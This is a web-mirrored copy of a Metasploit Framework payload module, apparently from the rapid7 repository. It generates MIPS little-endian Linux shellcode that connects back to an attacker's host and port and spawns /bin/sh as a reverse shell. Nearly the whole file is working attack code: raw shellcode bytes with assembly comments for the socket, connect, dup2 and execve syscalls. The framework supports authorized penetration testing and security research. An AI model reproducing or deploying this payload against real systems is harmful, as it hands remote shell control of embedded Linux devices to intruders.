Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 184
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Command Shell, Reverse TCP Inline',
17
'Description' => 'Connect back to attacker and spawn a command shell',
18
'Author' => [
19
'rigan <imrigan[at]gmail.com>', # Original (mipsbe) shellcode
20
'juan vazquez' # Metasploit module
21
],
22
'License' => MSF_LICENSE,
23
'Platform' => 'linux',
24
'Arch' => ARCH_MIPSLE,
25
'Handler' => Msf::Handler::ReverseTcp,
26
'Session' => Msf::Sessions::CommandShellUnix,
27
'Payload' => {
28
'Offsets' => {},
29
'Payload' => ''
30
}
31
)
32
)
33
end
34
35
def generate(_opts = {})
36
if !datastore['LHOST'] || datastore['LHOST'].empty?
37
return super
38
end
39
40
host = Rex::Socket.addr_atoi(datastore['LHOST'])
41
port = Integer(datastore['LPORT'])
42
43
host = [host].pack('N').unpack('cccc')
44
port = [port].pack('n').unpack('cc')
45
46
shellcode =
47
# sys_socket
48
# a0: domain
49
# a1: type
50
# a2: protocol
51
"\xfa\xff\x0f\x24" + # li t7,-6
52
"\x27\x78\xe0\x01" + # nor t7,t7,zero
53
"\xfd\xff\xe4\x21" + # addi a0,t7,-3
54
"\xfd\xff\xe5\x21" + # addi a1,t7,-3
55
"\xff\xff\x06\x28" + # slti a2,zero,-1
56
"\x57\x10\x02\x24" + # li v0,4183 # sys_socket
57
"\x0c\x01\x01\x01" + # syscall 0x40404
58
59
# sys_connect
60
# a0: sockfd (stored on the stack)
61
# a1: addr (data stored on the stack)
62
# a2: addrlen
63
"\xff\xff\xa2\xaf" + # sw v0,-1(sp)
64
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
65
"\xfd\xff\x0f\x34" + # li t7,0xfffd
66
"\x27\x78\xe0\x01" + # nor t7,t7,zero
67
"\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
68
port.pack('C2') + "\x0e\x3c" + # lui t6,0x1f90
69
port.pack('C2') + "\xce\x35" + # ori t6,t6,0x1f90
70
"\xe4\xff\xae\xaf" + # sw t6,-28(sp)
71
host[2..3].pack('C2') + "\x0e\x3c" + # lui t6,0x7f01
72
host[0..1].pack('C2') + "\xce\x35" + # ori t6,t6,0x101
73
"\xe6\xff\xae\xaf" + # sw t6,-26(sp)
74
"\xe2\xff\xa5\x27" + # addiu a1,sp,-30
75
"\xef\xff\x0c\x24" + # li t4,-17
76
"\x27\x30\x80\x01" + # nor a2,t4,zero
77
"\x4a\x10\x02\x24" + # li v0,4170 # sys_connect
78
"\x0c\x01\x01\x01" + # syscall 0x40404
79
80
# sys_dup2
81
# a0: oldfd (socket)
82
# a1: newfd (0, 1, 2)
83
"\xfd\xff\x11\x24" + # li s1,-3
84
"\x27\x88\x20\x02" + # nor s1,s1,zero
85
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
86
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
87
"\xdf\x0f\x02\x24" + # li v0,4063 # sys_dup2
88
"\x0c\x01\x01\x01" + # syscall 0x40404
89
"\xff\xff\x10\x24" + # li s0,-1
90
"\xff\xff\x31\x22" + # addi s1,s1,-1
91
"\xfa\xff\x30\x16" + # bne s1,s0,68 <dup2_loop>
92
93
# sys_execve
94
# a0: filename (stored on the stack) "//bin/sh"
95
# a1: argv "//bin/sh"
96
# a2: envp (null)
97
"\xff\xff\x06\x28" + # slti a2,zero,-1
98
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
99
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
100
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
101
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
102
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
103
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
104
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
105
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
106
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
107
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
108
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
109
"\xab\x0f\x02\x24" + # li v0,4011 # sys_execve
110
"\x0c\x01\x01\x01" # syscall 0x40404
111
112
return super + shellcode
113
end
114
end
115
116